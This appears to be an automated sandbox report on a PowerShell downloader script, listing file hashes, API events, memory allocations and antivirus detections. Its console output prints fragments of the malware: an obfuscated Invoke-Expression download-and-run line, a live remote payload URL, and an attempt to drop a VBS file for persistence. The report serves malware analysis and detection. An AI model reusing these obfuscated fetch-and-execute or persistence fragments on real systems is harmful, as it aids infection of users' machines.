Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 2, 2021, 5:08 p.m.	Oct. 2, 2021, 5:13 p.m.

Size	39.1KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`cf1e7678199f55ad21a0b3f4199a3b51`
SHA256	`4b2782eed2b8b52c4183107811e1e8d5ceb15d5e7f11478968f46a48f28c37bc`
CRC32	`0F0BB39A`
ssdeep	`192:IWAmV4M8fE5wKOU9WP4N6Mp4+OuPAw4q/SIQIA7Zc:IWAmVofECUCMcPp7Zc`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\bbbssttbbypass.txt.ps1
2088

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Command line console output was observed (23 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: Invoke-Expression : Unexpected token '(' in expression or statement. console_handle: 0x0000001f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\bbbssttbbypass.txt.ps1:4 char:18 console_handle: 0x0000002b	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + Invoke-Expression <<<< $cc console_handle: 0x00000037	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + CategoryInfo : ParserError: ((:String) [Invoke-Expression], Par console_handle: 0x00000043	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: seException console_handle: 0x0000004f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In console_handle: 0x0000005b	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: vokeExpressionCommand console_handle: 0x00000067	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: Set-Content : Could not find a part of the path 'C:\Users\Public\Run\New.vbs'. console_handle: 0x00000087	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\bbbssttbbypass.txt.ps1:42 char:12 console_handle: 0x00000093	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + Set-Content <<<< -Path C:\Users\Public\Run\New.vbs -Value $Content console_handle: 0x0000009f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\Public\Run\New.vbs:Str console_handle: 0x000000ab	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: ing) [Set-Content], DirectoryNotFoundException console_handle: 0x000000b7	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + FullyQualifiedErrorId : GetContentWriterDirectoryNotFoundError,Microsoft console_handle: 0x000000c3	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: .PowerShell.Commands.SetContentCommand console_handle: 0x000000cf	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: Invoke-Expression : A positional parameter cannot be found that accepts argumen console_handle: 0x00000023	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: t 'http://3.112.173.17/bstbbServer.txt'. console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: At line:1 char:5 console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + I`EX <<<< (n`e`W`-Obj`E`c`T $EDRFGHNJMKDEFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCF console_handle: 0x00000047	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: VGBHNJSDFGH) console_handle: 0x00000053	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Invoke-Expression], Parame console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: terBindingException console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell console_handle: 0x00000077	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: .Commands.InvokeExpressionCommand console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (13 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x050955b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 2, 2021, 5:08 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026cf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02659000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06350000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05541000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0265d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 2088 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x064cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

File has been identified by 12 AntiVirus engines on VirusTotal as malicious (12 events)

ClamAV	Ps1.Downloader.Generic-9893341-0
FireEye	Trojan.Script.GenericKDZ.3517
Cyren	JS/Agent.AZW
BitDefender	Trojan.Script.GenericKDZ.3517
MicroWorld-eScan	Trojan.Script.GenericKDZ.3517
Ad-Aware	Trojan.Script.GenericKDZ.3517
Emsisoft	Trojan.Script.GenericKDZ.3517 (B)
DrWeb	PowerShell.DownLoader.1457
MAX	malware (ai score=88)
GData	Trojan.Script.GenericKDZ.3517
ALYac	Trojan.Script.GenericKDZ.3517
Ikarus	Trojan-Downloader.VBS.Nemucod

bbbssttbbypass.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All